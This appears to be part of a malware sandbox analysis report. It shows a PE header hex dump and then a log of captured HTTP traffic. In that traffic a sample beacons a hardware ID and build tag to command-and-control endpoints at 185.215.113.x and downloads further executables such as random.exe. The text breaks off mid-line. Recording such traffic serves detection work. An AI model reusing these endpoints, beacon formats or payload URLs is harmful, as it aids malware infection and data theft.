00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKEHDBAEGIIIEBGCAAFHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 2d 2d 0d 0a Data Ascii: ------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="hwid"C211416AD83D981579381------KKEHDBAEGIIIEBGCAAFHContent-Disposition: form-data; name="build"doma------KKEHDBAEGIIIEBGCAAFH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 35 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001158001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 35 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001159001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="hwid"C211416AD83D981579381------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="build"doma------JDGCFBAFBFHJEBGCAEGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001160001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEBAKFHCFHIEBFBAFBHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 42 41 4b 46 48 43 46 48 49 45 42 46 42 41 46 42 2d 2d 0d 0a Data Ascii: ------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="hwid"C211416AD83D981579381------DAKEBAKFHCFHIEBFBAFBContent-Disposition: form-data; name="build"doma------DAKEBAKFHCFHIEBFBAFB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001161001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHIDAEHCFHJJJJECAAHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 2d 2d 0d 0a Data Ascii: ------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="hwid"C211416AD83D981579381------EHDHIDAEHCFHJJJJECAAContent-Disposition: form-data; name="build"doma------EHDHIDAEHCFHJJJJECAA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGHCBKFCFBFHIDHDBFCHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 43 42 4b 46 43 46 42 46 48 49 44 48 44 42 46 43 2d 2d 0d 0a Data Ascii: ------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="hwid"C211416AD83D981579381------GCGHCBKFCFBFHIDHDBFCContent-Disposition: form-data; name="build"doma------GCGHCBKFCFBFHIDHDBFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFHCGIDBAAFHIDHDAAEHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 48 43 47 49 44 42 41 41 46 48 49 44 48 44 41 41 45 2d 2d 0d 0a Data Ascii: ------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="hwid"C211416AD83D981579381------BKFHCGIDBAAFHIDHDAAEContent-Disposition: form-data; name="build"doma------BKFHCGIDBAAFHIDHDAAE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBA2C79B55D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDAHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 32 31 31 34 31 36 41 44 38 33 44 39 38 31 35 37 39 33 38 31 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="hwid"C211416AD83D981579381------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="build"doma------FHIIEHJKKECGCBFIIJDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 41 32 43 37 39 42 35 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: 